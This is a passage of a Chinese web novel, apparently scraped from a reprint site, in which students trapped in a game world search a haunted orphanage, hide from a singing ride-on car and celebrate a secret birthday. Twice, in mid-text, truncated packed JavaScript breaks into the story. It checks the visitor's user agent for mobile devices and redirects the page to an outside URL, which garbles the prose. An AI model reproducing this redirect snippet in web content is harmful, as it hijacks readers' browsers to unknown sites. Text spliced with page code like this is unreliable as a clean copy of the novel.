这么怕鬼的一个人,也是够倒霉的……等一下,怎么能算倒霉呢,简直就是天降外挂啊?!! 温初夏强行把怀里人的脑袋扳直,激动道:“你快仔细看清楚一点,她长什么样啊?看的出来是男的还是女的吗?有什么特征?她有和你说什么吗?你跟她说话试试?” 周雅宜发出傻猪般的惨叫:“啊!温初夏你疯啦不知道我很怕鬼吗?救命啊我不要看啊——!” 楼下。 隐约听到动静的李确一个激灵,赶紧手臂撑着从床上半坐起,小声问还没睡着的舍友:“你有没有听见?楼上好像有人在尖叫。” 季明轩脑袋放在硬扁的枕头上,睁大眼竖起耳朵听了一会儿,似乎叫的还挺惨,猜测:“我听说今晚她们女生要玩什么笔仙,所以可能是、闹鬼了吧?” 一听这话,李确顿时有点着急,小声道:“要不我们去楼梯口问一问?如果真闹鬼了,她们肯定很害怕。” “不用。”时准翻了个身,连眼都没有睁开,语气淡淡地说:“有温初夏在,楼上不会有事的。” 季明轩偏仰着头,看向背对自己的时准,眼神有些焦躁:“那可是鬼欸,女生不都怕鬼吗。” 当然,他是个男的,他也怕。 这世界上根本就没有人真正不怕鬼好吧。 “她不一样。” 黑暗中,一双黑白分明的眼睛悄然睁开,漆黑的瞳孔里盛着一片温柔寂静的海。 空气从这一刻开始安静起来。 “你们听。”他轻笑,“已经不闹了。” . 人,真的是一种很神奇的生物。 突出表现之一,就在于他们比变色龙变色还要丝滑的适应能力。 如果放在一个月前,有人劝这群贵族学校的小姐少爷们,花钱别太大手大脚,因为一个月之后,他们会变得连去小卖部买根0.3分的烤肠都舍不得。 不仅如此,用来洗脸的毛巾是脱线的,用来刷牙的牙刷是掉毛的,甚至连袜子,放冷水里揉一揉,直接倒掉一盆颜料。 谁会信?没有人会信。 但这惊世骇俗的大霉还真倒在了他们身上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553487|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >第二次月考结束,从考场出来后,60个学生拖着连考九场的疲惫身体,壳子里装着的,却是终于拿到朝廷赈灾粮的激动灵魂,第一时间冲去小卖部采购物资。 按照要求,第一名当然得是妞妞。 表面第二,实则在学生堆里算第一的,毫无悬念,仍是温初夏。 但这次她的平均分却有所下降,因为分数最高的三科数英物全部归到了妞妞头上,剩下的6科只能勉强让她卡里的余额维持住了“8”开头。 经过一月的刻苦学习,大家都进步飞快,尤其是时准,总分离在他前一位的温初夏就差了一百来分。 要知道上一次,温初夏可甩了他接近四百分,只一个月就把差距缩短成这样,可以说是进步神速了。 其余人也都很不错,校园卡里普遍多了三四十分的“巨款”,所以逛起小卖部来依稀找回了从前奢侈品店里豪掷千金的感觉。 当然,只是蚂蚁腿那么小的一点儿—— “薯片0.7分?来三包来三包,哥有分。” “啊啊啊啊我要喝可乐!这一个月憋的,馋死我了!” “这个奶油小蛋糕,一看口感就很糙,你确定要买?” “可是我好想尝尝啊,咱俩一起拼着买嘛,你一半我一半。” “最近天气变热了,我想买两件薄一点的内搭换着穿,你说我是买粉色和白色,还是蓝色和白色啊?” “别买白的吧,放洗衣机里容易窜色。” “哦护发素!我亲爱的护发素!再没有你我的头发就要分叉成树根了。” 温初夏财大气粗惯了,物欲又低,平时牙膏洗发水肥皂这些用光了都能立刻补上,此刻她没什么特别需要添的东西,来小卖部纯属凑个热闹,顺便—— “你不要再像上次那样乱花钱了。” 路过时准身后,她小声警告,“不然我单方面和你绝交一个月。” 很幼稚的威胁,但放在时准身上刚刚好,此话一出,眼前的脑袋立刻点了点,表示知道了。 温初夏盯着他头发略长的后脑勺,想问“要不要我帮你剪一下头发”,但又顾及到一旦帮这位剪了头,另一位大概也要凑过来让自己也给他剪。 同时剪仨头的工作量太大,温初夏可不想一边做任务一边还要兼职发型师,所以把话咽了回去,心说等他头发长到一定程度了,自己友情提供一把小黑皮筋就行。 反正她无论给时准什么,这孩子都一副捡到宝的高兴傻样。 “你说——”不远处,季明轩拿着一把小手斧走过来,“我们要不要买点儿趁手的兵器带着啊?那栋小破楼一看就是会闹鬼的样子。” 考试结束后,新地图再次开启,这回是出现在图书馆边的一栋并不算破旧,但从外表看上去很简陋空旷的五层小楼。 并且和之前不同的是,这栋楼只限时今晚的八点到十二点开放,零点一过,整栋楼降会消失,只留给他们四个小时的时间找线索,非常紧张。 看清他手里的东西,温初夏有点想笑:“斧子对鬼没用,还不如带上黄符啊桃木剑啊糯米之类的、驱鬼的东西。” “好主意。”季明轩一拍斧子柄,“可你说的这些东西小卖部压根儿没有卖啊。” “那就不买呗。”温初夏很松弛地耸耸肩,又无奈道:“一共就四个小时,你还叮铃哐啷带这么一堆阻碍行动的东西,要我说,一人拿一个手电就行了,都在这儿住了快一个月了,就算真的有鬼,大概率也是不咬人的鬼,别太紧张,啊。” “我才不紧张。”季明轩矢口否认,仿佛这句话刺痛了他的男人尊严,耳廓微微变红,目光轻移:“我、我就是担心你害怕……” 温初夏上身微微后仰,抱起胳膊,一脸“你敢小瞧我”的表情,扬声道:“你是不是对我的胆量有什么误解啊,你怕我都不会怕的好吗——有这功夫还是多去关心关心你那真正怕鬼的表姐吧。” “她才不需要我关心呢。”目光又移了回来,季明轩嘴角扯了扯,“她跟李确都快成连体婴儿了,哪儿还有我的戏份。” 别说,还真有你的戏份。 晚上8点,六十个学生三人成组,紧张又兴奋地进入这栋从内而外散发出诡异气息的停电小楼。 马上就要一个月过去,周雅宜还是没有从洋娃娃状态变回正常人,不仅腿短,关节还硬,别人走一步,她得走三步。 没办法,季明轩只好抱着她走,一路上被周雅宜骂了好几回,说他抱着自己的姿势一点也不舒服。 对此,季明轩表示:“你一个洋娃娃,浑身上下都是塑料做的,哪儿感觉得出来舒服还是难受。而且洋娃娃是没有人权的知道吧,我愿意大发慈悲地抱着你走已经够可以了,你不感恩就算了,还这么多要求。” 李确走在前面,稍微领先他们两步距离,此时回头问:“要不我来抱?” 周雅宜闻言,立刻就想从自己便宜表弟的怀里挣脱,却被对方察觉后硬按了回去。 “不用。”季明轩少见地冷着脸,生硬拒绝:“男女有别,我和她是有血缘关系的表姐弟,我抱比较合适。” 34. 第 34 章 “那好吧。”李确讪讪地放下手臂,回头继续往前踱了两步,又扭头补充:“如果你抱累了就和我说,咱俩可以替换着来。” “不、用。”季明轩重复一遍,脸色愈发难看,“我怎么可能会抱累,她还没你手里的相机重呢。” 李确拿着的相机是周雅宜的,运动会那天她一直把它挂在脖子上,掉进地震裂缝之后,就跟着她一起来到了这个界面。 相机所剩的电量不多,又没有充电器和备用电池,所以只有关键时刻周雅宜才会拿出来用,例如现在。 季明轩的话忽然点醒了周雅宜,她想起自己最近一次拿这部相机拍过什么,顿时大惊失色,扯着季明轩的衣领和他咬耳朵:“你快把相机拿过来,快啊!” 季明轩当然不同意。 把相机拿过来,不就相当于把周雅宜送过去吗? 一时间,女大不中留恨铁不成钢这些成语在脑子里反复盘旋飞升,最终化作洪钟大吕让他小小的心灵受到了巨大的震撼。 他咬牙切齿:“我不,你想都别想!” 回想之前周雅宜还喜欢时准的时候,虽然喜欢得也很狂热,但最起码的矜持还是有的,不会自降身段。 结果现在呢,居然连投怀送抱这种事都做得出来了!也不知道李确到底给她灌了什么迷魂汤…… 周雅宜完全没意识到两人没在同一频道上,余光看到李确把手电夹在胳膊里,正低头给相机开机,心里的着急和慌乱立刻又上一个台阶,揪着季明轩的耳朵威胁:“你说不说——” 她人变小了,力气却一点儿没见小,季明轩疼得龇牙咧嘴,但还是坚决拒绝:“不——” 周雅宜快急死了,没控制住音量:“季明轩你是傻……” 李确闻声回头。 周雅宜急忙改口:“小笨蛋吗??!” “……” 最怕空气突然安静。 季明轩三观无端遭遇重创,闭眼缓了缓,然后直接把周雅宜扔进李确怀里,又把他脖子上挂着相机拿走,一言不发大步流星地向前走去,背影流露出一股不忍直视的苍凉。 李确看不懂地问:“他这是……” “没事。”周雅宜可算松了口气,打哈哈道:“小屁孩儿闹脾气罢了,不用管他。” 与此同时,一层。 “你们快来看啊,这里好像是个地窖!” 宋云泽蹲在一扇嵌在地板上的木门旁边,四块巴掌大的黄铜铰链焊在门框上,表面凝结着暗绿色的铜锈,门与地板的接缝处还长着半圈风干的苔藓。 用手电屁股一戳,苔藓直接碎成了细腻的渣渣。 他狐疑地吸吸鼻子,寻思这里的空气明明挺湿润的啊,甚至可以说是潮湿,洗衣机甩两遍的衣服挂起来得再晾上二到三天才能勉强变干,上身依旧有点潮乎乎。 这苔藓怎么会干成这样,跟千年老干尸一样。 温初夏和时准立刻过来。 两个男生一左一右把地窖门,然后一前一后跳下去,站直,转身,同时向上面的温初夏伸出手。 …… 是但凡逮到点儿机会就要比一比吗你们二位? 温初夏忽视掉那两只爪子,单膝蹲下,脚尖点地借力,姿态如同夜晚飞檐走壁的黑猫,轻巧又稳当地落到地面,连呼吸都没有丝毫动乱。 她要好好珍惜这段腿不瘸的美好时光,谁也别想扶她,谁也别想! 手电筒的角度重新回归正常时,首先撞上的是一排排深蓝色的铁皮桶,锈迹斑斑的表面爬着暗褐色油渍,打开一闻,令人作呕的浓烈汽油味扑鼻而来。 宋云泽yue了一下,把盖子放下,说:“这些汽油就是火灾的源头吧。” “不止。” 时准撕开堆放在墙角、用蜡纸包裹住的一个个长方体,一些灰黄色的颗粒状物漏了出来,让本就难闻的空气又多了一股硝酸铵和硫磺的气味儿。 “还有炸药。挺劣质的。” 他拍拍手,站起来,嘴里居然小声在唱:“我去炸学校,老师不知道。” 温初夏没忍住轻轻乐了两声,又立刻反应过来正常人不该在这种严肃的场合里笑,于是皱眉开始随地大小演,四处观察着说: “能在地窖里藏这么多危险□□的人只可能是孤儿院领导,或者是老师——但他们为什么要炸掉这个地方?” 时准想了想:“不外乎毁尸灭迹吧。” 宋云泽立即接上:“我觉得这个孤儿院里肯定藏着什么不能让外人知道的秘密,比如儿童虐待?或者是……” 时准:“人口拐卖。” 宋云泽:“……”抢我台词你! 温初夏表面上不置可否没有说话,心里却十分欣慰。 果然是男主和男二,脑筋转起来就是比一般人要快,都不用自己刻意引导,就能把事情猜了个七七八八。 虽然不让人省心,但很让人省事。 11点57分,一群学生拿着搜罗出的证据线索聚集在一楼外的小小空地,东西很多很杂,包括但不限于档案袋作业本信件翻盖手机…… 然而一踏出铁门,他们手里的东西居然在没有燃烧的情况下顷刻间化作一团灰烬,簌簌从指间缝隙掉落,被风吹散。 走在最前面的人赶紧退了回来,惊愕道:“什么鬼!这是不让我们带出去吗?” “看样子应该是。” 人群中,抱着一堆档案的同学快哭了:“啊啊啊可是这么多谁能记住啊!时间还剩几分钟?” “别慌别慌。”季明轩举起手里的相机,朗声对众人道:“有找到线索的同学排成队,到我这儿挨个拍照。” 十二点一到,最后一位同学精准踩点跑出孤儿院楼,背后的建筑瞬间被铺天盖地的浓雾所覆盖。 顷刻后,雾散开,只留下一片杂草丛生的空地。 周一,中午。 温初夏没有去食堂吃饭,而是留在教室,把昨晚大家搜集到的一堆线索挑拣出真正关键有用的,把照片倒入卡的要死的老旧电脑,做成简易PPT。 中午教学楼是会锁住的,上课前五分钟才会重新开放,温初夏想要趁这五分钟老师没来的时间,给大家把线索串一串,并明确下一阶段的方向是什么。 然而,她刚用纸巾把粘满灰尘的的黑色数据线擦干净,插入USB接口,右手移动鼠标,正要点击桌面上“此电脑”的图样,就有两个人回来了。 时准,和宋云泽。 温初夏不惊讶,但很无语,无语到甚至不想问他俩中午不去吃饭留在教室是想干嘛。 还能干嘛,在自己面前找存在感呗。 温初夏继续低头,看着发黄的电脑屏幕,这俩货就自顾自地坐在了第一排的座位上,三个人互相谁也不搭理谁。 教室里的气氛始终保持着一种诡异的宁静。 直到玻璃窗外飘进一阵细微又熟悉的歌声—— “请把我的歌,带回你的家,请把你的微笑留下……” 鼠标点击音停住,温初夏立刻跑去窗边,果然发现摇摇车又来了! 它不是只在每天下午的时候来吗,怎么今天忽然换成中午了? 宋云泽离窗边比较近,听到声音后直接拉着温初夏就往教室外跑,时准慢他一步,咬咬牙跟上。 这次摇摇车上来的速度出奇的快,他们刚跑出教室,就听见歌声已经走到一二层之间的楼梯,这时再往楼上跑无疑于送人头。 温初夏反应极快,赶紧拉着宋云泽就往反方向跑,冲进厕所隔间。 二层的厕所外面是没有门的,只有隔间有门,宋云泽正要把门拉上锁住,一只手却忽然横插进缝隙,强硬地把门板拉开。 温初夏听到动静回头,发现是时准挤了进来。 厕所隔间本来就小,只有不到两平米,其中马桶就占了一平米,剩下的空间根本无法容纳三个即将成年的青少年。 再说他们的身形还要比一般成年人都高挑一些。 温初夏有些呼吸困难,正想把他俩都踹到隔壁去,忽然听见左边隔间的门打开再关闭,随即传来一阵细微的喘息,好像是个男生。 ??? 三人一人头上一顶小问号—— 旁边谁啊? 谁还和他们一样,大中午的留在教学楼不去吃饭? 在一二两班的教室以及老师办公室搜寻无果后,摇摇车最终驶入卫生间,结果发现,还是没有人。 这大概是把它给惹生气了,狭小的空间内,欢快又诡异的歌声瞬间扩大了五倍不止,像是有人把手机音量开到最大放在你的耳边播放动感Disco,脑仁都快炸开了。 温初夏难受地直皱眉,努力忍下想骂死这辆破车的欲望,就有一双手轻柔地捂住她的双耳,耳膜正遭遇的酷刑瞬间减轻一半。 是时准,帮她捂住了耳朵。 这回慢一步的人成了宋云泽。 但好在地方小,没处跑,宋云泽只做了不到一秒钟的心理建设,就抬起手,覆在了时准的手背上。 温初夏:“……” 时准:“………………………………” 好、好复杂的关系。 场面实在是太诡异了,温初夏这辈子都没同时被四只手捂过耳朵,她眉心紧锁,瞳孔里流露出一丝可以称其为惊恐的情绪—— 妈妈呀,我之后真的要和这个憨批一起出国吗? 虽然出去后我很快就会找个妥当的理由和他分手,可是…… “嘭!” 这时,隔壁传来一道莫名其妙的响动,像是有人撞到了墙上。 周雅宜完全没有想到,自己会在这个节骨眼变回正常。 但她更想不到的是,自己变正常后做的第一件事,就是把刚才一路抱着她躲进厕所隔间的李确,压到了墙上。 柔嫩的粉唇险险擦过少年干燥的下唇唇瓣,然后,在惯性作用下,重重印在了他的下巴上。 !!! 要不是空间太窄,周雅宜绝对会吓得一屁股坐到地上。 她触电般迅速弹开,后背靠在门板,双手合十埋头疯狂道歉:“我不是故意的对不起对不起对不起……” 因为怕引起门外摇摇车的注意,她连道歉都不敢太大声。 完、了。 周雅宜泪洒心田,好像把人家初吻给抢了。 虽然这也是她的初吻。 李确脖子和耳朵红的连成一片,表情却出奇的挺淡定。 他抬手,用指关节蹭了下刚才被亲到的地方,在鼻尖闻了闻,发现很甜很香,笑着说: “你的唇膏是桃子味儿的?好好闻啊。” 听到这段对话的温初夏内心OS:靠?居然是你俩,孤男寡女背着我偷偷干什么呢?!! 她立刻就想爬墙看看到底是什么情况,一脚踩在马桶盖上,结果没控制好力道,可怜的马桶盖发出“咚”的一声巨响。 这下好了,不仅隔壁那俩瞬间没了动静,正要离开卫生间的摇摇车还又把车倒了回来,开始匡匡撞门。 用脸,撞厕所门。 可以说是非常具有劳动精神了,不怕苦不怕脏不怕累。 祖宗欸! 两个男生赶紧把张牙舞爪的温初夏降住。 时准一只手按在她头顶,一只手捂住她的嘴。而宋云泽就一手按在她的肩膀,一手拉着她的胳膊。 四只手,二十根指头。 温初夏觉得自己何德何能,想当年如来佛对付孙悟空的时候也就用了五根手指,大圣都没有的待遇,她倒是享受上了。 …… 大概过了两分钟,摇摇车终于放弃撞门,离开厕所。 听到歌声远走后,周雅宜第一时间打开门阀,走出隔间,眼睁睁隔壁的门打开,时准从里面走了出来。 周雅宜只觉得眼前一黑,天要塌了。 是谁不好,怎么偏偏是时准,他刚才听到了吗?他心里会怎么想?他会不会觉得我是个特别不好的女孩…… 结果下一秒,温初夏也出来了。 于是心塞瞬间转化为震惊,周雅宜圆眼瞪得老大,明明张开了嘴,却因为过于惊讶而发不出一丝声音:你、你们俩…… 接着,第三个宋云泽出现在面前。 嗯?!! 周雅宜眼珠子几乎要掉出来了,她彻底懵了:这这这什么情况?隔间这么小,你们仨是怎么挤得下的?!以什么样的姿势挤下的??!!! “哗——” 就在这时,厕所最里的隔间传来冲水声。 接着门打开,季明轩拿着一包卫生纸走了出来。 看见外面站了这么老些人,他脚步踉跄了一下,脸上的表情也从解决完的轻松,变成了五光十色的茫然。 他定在原地,一动也不敢不动。 大家都不敢动。 但周雅宜的面部肌肉开始控制不住抽动。 僵硬的目光由远及近依次扫过,最后停留在李确尴尬中略带歉意的脸上。 他耳朵还红着,小心翼翼地问:“你,还好吧?” 周雅宜脑子乱作一团,几乎想一头撞死在墙上,垂在身侧的双手握紧成拳,然后羞愤地一跺脚:“哎呀!” 跺完,她转身走了。 李确扫了剩下的四个人一眼,尴尬地笑笑,赶紧去追。 全场最懵逼的季明轩:“……” 他眨了眨清澈的双眼,问:“他俩是发生什么了吗?” 时准报以不忍的神情:“别问。” 温初夏同样:“最好别问。” 宋云泽一脸严肃:“我劝你最好别问。” 季明轩更懵了。 啥呀?咋啦????? 五分钟后。 食堂正在上演一场奇观。 所有人都开始在玩一场老鹰捉小鸡的改编版,学生捉老师的游戏。 场面之混乱,之惊心动魄,只能用鸡飞蛋打来、饭菜横飞来形容—— “阚老师,别跑啊!我们不是想伤害你,只是想带你去宿舍楼三层见你的好朋友,不然大家都要被烤成串了!” “我靠痛痛痛痛痛!我的波棱盖要碎了,冯老你不是变小了吗,怎么踹人力气还这么大?这不科学!” “在这儿你还讲什么科……欸孟老师,住嘴啊!肉要被你咬下来了!我胳膊这么细你也不嫌硌牙吗??!” “好热好热好热好热,再不把他们押过去我就要中暑了!” …… 最后,五十四个学生差不多流了五十吨汗,才终于把九个四处乱窜的小孩老师逮捕归案。 看到教室里温度计的数据狂飙到46℃后忽然打住,再降回到正常水平,温初夏抹掉额头的汗珠,长舒一口气:“呼——” 有惊无险有惊无险,没想到外面那群学生反应还挺快,知道天气一热就是妞妞又生气了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558059|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 接下来的大半个月时间,摇摇车再也没有像今天这样抽风过,来巡视的时间不是上午就是下午,学生们只用躲,不用费劲逮老师。 证据也找的差不多了,只等最后一个地图解锁,从妞妞的日记本里知晓她的愿望,就能开启最终关卡了。 温初夏单方面认为,这样的日子虽然清苦,但也挺不错的,甚至比原界面还要让她省心一些。 直到,粉团子带来一则消息—— “总部的人说,原界面修复进度不知道为什么卡住了,如果宿主你能完成一两个原界面的任务,可能会对修复工作有帮助。” “什么任务?” “总部给了两个选择,宿主你可以二选一,也可以两个任务都做。 任务一其实你早就知道了,就是男主女主告白确定关系,吻就不用接了,毕竟你初吻任务是做失败了的。总部那边说这个任务应该更有效一些,所以建议宿主你选第一……” “那第二个呢?” 温初夏打断她,语气有些烦躁。 粉团子不明白她怎么忽然气性这么大,老实地念起任务通知:“第二个任务是《等风》继告白之后的又一重要剧情点,主要情节长话短说,就是你陪时准过生日,被男主知道了,你俩于是大吵了一架。” 温初夏沉默一会儿,问:“吵完然后呢?” “当然是你向他道歉然后你俩又和好了呀。” “凭什么是我跟他道歉?” “?”粉团子没太懂她的脑回路,“拜托,是你给你男朋友的情敌过生日欸,又不是他给你的情敌过生日,你做错事,当然是你道歉了。” “……” 温初夏又沉默了。 良久,她用力搓了搓脸,抬头时问:“第一个任务,总部的安排是什么时候?” 周五下午,最后一节体育课。 拥有十几只“长手”的发球机火力全开,接续不断的排球如同一阵小型陨石雨,向开阔场地里的六十名学生狠狠砸去。 自从第一次体育课吃过大苦头后,他们以身试法,把可选择的项目挨个尝试了个遍,最终发现,看似在一堆游乐项目里最另类的排球,实则居然是最容易通过的,只需要及时躲避不被排球砸中就行。 经过近两月每日一次的逃跑训练,大家的速度和灵敏度都有了显著提升,区区躲球,对于现在的他们来说根本不在话下。 每次体育课结束,最多只有两个人会受到惩罚去恐怖屋,这也彰显出大家对于这个副本适应得是越来越好了。 在全神贯注的人群之中,唯独温初夏一人有些心不在焉。 她双唇紧绷成一条直线,嘴角微微下垂,眼角眉梢懒厌厌的,像是挂着沉重的心事,反应也总是慢半拍,好几次差点儿被砸中。 惹得时准忍不住频频看向她,很想问她怎么了,却又因为隔得太远没法开口。 终于,在游戏即将结束的前几秒,时机成熟。 温初夏深呼吸口气,紧接着一个超绝不经意脚崴,侧摔在宋云泽面前,抱着右脚发出一声压抑的惨叫: “啊!” 然后在心里狂骂自己:不是计划好的这次要崴左脚嘛,左右得交替着来啊,不然右脚要有意见,唱“为什么受伤的总是我”了。 万一回去之后半瘸变真瘸怎么办? 真是的,怎么一紧张就左右不分了呢…… “怎么了怎么了?”宋云泽急忙蹲在她身边,担忧道:“脚踝崴了是吗?让我看看严不严重……” 旁边的李书雪忽然大叫一声:“小心——!” 两人下意识抬起头,看见半空中一只高速旋转的排球正向他们砸来。 这个距离,抱起人跑走显然已经来不及了。 宋云泽呼吸停滞,大脑一片空白。 说时迟那时快,就在他脑子宕机的同一瞬间,一个熟悉的身影忽然闪到面前,用自己的后背帮他们挡下了这次危机。 排球撞击的力道很大,少年面色一痛,控制不住地单膝跪下,左手撑着地面。 游戏时间到。 温初夏原本就不太好看的面色,顿时变得无比凝重。 偏偏摇摇车还在那里笑嘻嘻道:“今天大家的运气很好哦,只有一位小朋友需要接受惩罚,请时准同学即刻前往教学楼二层东侧恐怖屋。” 温初夏拳头暗中握紧,坠胀的心脏如同被捏紧一般难受。 时准站起来,拍拍掌心的灰尘,对宋云泽说:“麻烦你背她回宿舍,买根冰棍用毛巾包着,在扭伤的地方敷15到20分钟,如果小卖部里有扶他林或者云南白药的话,也可以买来涂一下,我先走了。” 鉴于时准刚才帮了自己,宋云泽嘴唇动了动,最终忍住没有把“不用你麻烦,我也会这么做的”这句话说出来,只是闷声道:“谢谢啊。” 食堂离操场更近,也离小卖部更近,所以宋云泽先带温初夏来了食堂,让她好好坐着别乱动,自己去小卖部给她买冰棍和扭伤药。 他走后,温初夏立刻以脸朝下的姿势,趴在冷冰冰的桌子上。 周雅宜和李书雪都是头一次见她这么丧,彼此交换了个复杂的眼神后,开始安慰她—— “不至于吧,就是扭个脚而已,又不严重,你好好休息,过两天就又能活蹦乱跳啦。” “你不会是怕耽误学习吧?哎呀不会的,你脑子这么聪明,哪怕这个月不学习,第一也肯定还是你,别担心啦。” “别不说话呀,你这个状态我看着都有点儿害怕,你是不是有什么其他烦心事啊?” 闻言,温初夏抬头看向周雅宜,问她:“你知道时准的生日是哪天吗?” “时准生日?” 周雅宜眼里流露出一点惊讶,不明白她为什么忽然想知道这个,但还是老实回答:“4月21号,但时准其实从来不过生日的,因为……” 她压低了声音,拧眉道:“她妹妹就是这天意外去世的。” “嗯?”李书雪一副意外吃到瓜的表情,“这么惨?!” 接着又反应过来:“4月21号,那不就是今天吗!” 温初夏:“……” 见她一声不吭从凳子上站了起来,周雅宜急忙道:“诶诶你干嘛?快坐下啊!脚扭了是不能着地的。” “没事。”温初夏忍着疼,略微用力地跺了跺右脚,向她们轻松表示:“我扭的其实不狠,想一个人先回宿舍躺着,一会儿宋云泽回来了你们和他说一声啊。” 此时此刻。 教学楼二层东侧。 时准站在恐怖屋的门前,脑海里走马灯似的闪过许多想法,预想自己进去后会看到什么,或者变成什么。 很快,他就做好了心理建设,深吸一口气然后轻轻吐出,推开门,迈开步。 进去后,身后的木门自动关闭。 这是时准第一次看见,所谓的恐怖屋内部究竟是什么样子—— 屋子的面积很小,只比宿舍要大一点,呈长方形,门口正对面的墙上竖着一面大镜子。 时准惊讶于这里的平平无奇,安静地看着镜子里的自己愣神。 两秒后,明明他没有做出任何动作,可镜子里的人却忽然微笑起来,抬起一只手,往下指了指。 时准心脏一跳,顺着“他”的指引看去。 只见一顶金光灿灿、镶嵌着红蓝宝石、珐琅彩绘镂空雕花的华美皇冠,滚到了他的脚边。 35. 第 35 章 为了不被发现,温初夏特意藏在小卖部外的树丛里,看见宋云泽买完东西离开,才鬼鬼祟祟、一瘸一拐地走了进去,偷感相当重。 她拿了一块小蛋糕,款式非常有年代感的,上面的奶油拉花看起来硬的跟石头一样,又拿了一罐甜牛奶,正要付款,才发现还少了一件非常重要的东西,生日蜡烛,于是重新回到货架间穿梭寻找。 很遗憾,这里没有专门用来庆生的蜡烛,有的只是和马克笔一般粗细、用来照明的红烛。 温初夏犹豫片刻,还是拿了一根,就地取材,用水果刀切了切削了削,粗笨的红烛瞬间变秀气了不少,勉强可以插在蛋糕上了。 搞定后,她把小刀放回货架,刷卡付分。 现在距离下课还有不到二十分钟,距离教学楼封锁还有不到三十分钟。 一路上,温初夏一直在担心时准已经做完惩罚离开,心里非常着急,奔跑的速度从小跑渐渐变成快跑,完全不管右脚脚踝的死活。 但好在是赶上了,当她跑到教学楼外时,时准刚好从一层东侧的楼梯口出来。 天气有些闷热,头顶正有乌云在聚集,看样子是要下雨,温初夏后颈滑过一滴汗。 相比于之前,时准并没有发生外形上的改变,表情也很平静,只是脸色唇色都很白,一副还没有从惊吓中脱离开的模样。 大概是在恐怖屋里看见什么可怕的东西了。 也不知道什么东西能把他吓成这样。 所幸人没事就好,人没事就好…… 温初夏悬着的心顿时落回肚子里,她停下脚步,喘气时嘴角已抢先一步勾起,露出一个灿烂又高兴的笑,大声喊他的名字:“时准——” 对方显然是没料到她会过来,目光锁定的瞬间,惨白的俊脸闪过一丝茫然和不可置信,然后,立刻向她飞奔跑来,校服外套被风吹得鼓起。 “你怎么来了?” 时准一手握住温初夏的胳膊,紧张地看着她,连珠炮一般地问:“脚怎么样?痛不痛?有冰敷过吗?为什么不好好坐着休息?宋云泽他人死哪儿去了,怎么连照顾个人都……” 温初夏一听他把“宋云泽”和“死”连在一起,不由得心头一跳,忙打断道:“我没事。” 她原地转一圈,哪怕右脚传来肌肉撕裂的剧痛也仍面不改色,甚至还在停下来时笑了笑。 “就是稍微崴了一下而已,一点儿没伤到筋骨,也不疼。” 要不说温初夏是专业的呢,演技好到甚至连时准都被她轻松骗过去了。 他松开她的胳膊,看见她手里拿的东西,眉毛轻挑,“你晚饭就吃蛋糕啊?”就这么一小块,吃得饱? “我不是自己想吃,这些都是给你买的。”温初夏拉着时准在花坛边缘坐下,把蛋糕放在废弃的乒乓球桌上。 她边拆包装边说:“要不是周雅宜告诉我,我都不知道今天是你生日。” “……” 时准听后,愣了好半晌,才迟笨地转动眼珠,看着她专注的侧脸。 “那她就没有也告诉你,我不过生日的。” “说啦。” 温初夏捏着缺斤少两的蜡烛,皱眉思考究竟插在哪里比较好看。 “但人怎么能不过生日呢,这可是你第一次来到这个世界的日子,不管别人在这天心情如何,我反正只希望你能高兴。” 打火机发出“砰”的声响,蜡烛顶部的棉线被点燃,明黄色的火焰轻轻跳动,好似一颗燃烧的小星星。 她唱道:“Happybrithdaytoyou,Happybrithdaytoyou——今天就当是重新补过你的16岁生日吧。许个愿呗,大寿星?” 温初夏小心翼翼把蛋糕端到时准面前,烛火的暖光将两人之间的空气渲染得无比温馨,也照的她左眼之下那颗深棕色的泪痣更加柔和,如同一滴香甜的蜜。 上次时准从这个距离、这个角度看温初夏,还是在校庆舞会的时候。 但那晚停电了,伸手不见五指,只能借着月光勉强看清她的身体轮廓,脸是一点儿也看不见的,更看不见她脸上的表情。 而现在,他终于可以好好看清楚了…… 所以说偷工减料要不得呢,被削过的蜡烛燃烧速度不是一般的快,烛泪簌簌滴落,眼看就快漫到唯一一朵珍贵的奶油小花上了。 温初夏见时准还盯着自己发呆,歪了歪头,微笑着问: “我脸上是有什么脏东西吗?快许愿呀。” “我……” 时准回过神,不知为何又垂下眸,鸦羽般的睫毛顷刻盖住大半眼睛,落寞的情绪从眼底流淌出来,把校服之下的肩头给压了下去。 他沉着嗓:“还是不要了吧,我每次许的愿,都不会实现。” “怎么会。”温初夏微怔,她还是第一次知道时准居然是个悲观主义。 悲观到甚至连生日愿望都不想许。 “你上次不是许愿自己能够长到一米九吗,现在不都已经183了,再过两年,肯定能实现的。”她笃定道。 “……” “许一个嘛,我蜡烛都插上了。” “好吧。” 时准看她一眼,顺从地阖上眼皮,然后又睁开,把蜡烛吹灭,说:“许好了。” 温初夏两手捧着蛋糕,嘴角一抽,怀疑道:“这么快就许完啦?你不会在敷衍我吧?” “怎么会。”时准笑笑,“是因为我的愿望很短,在脑子里一过就没了。” 这时,一阵粘稠的风从背后吹来。 温初夏怕风把沙子之类的脏东西吹到蛋糕上了,赶紧用手挡住,然后把蛋糕放在腿上,撕开叉子的包装纸,递给他。 时准迟缓地接过,疑惑问:“就只有一个叉子吗?” 温初夏没好气道:“本来蛋糕就不大,你难道还想和我分着吃啊。” 她仰头看向天空,发现铅灰色的乌云已经堆积到铁砧一样厚了,风悄然掀起暗涌,将树冠压得俯首战栗。 她于是催促:“快点吃吧,看样子马上就要下雨了。” 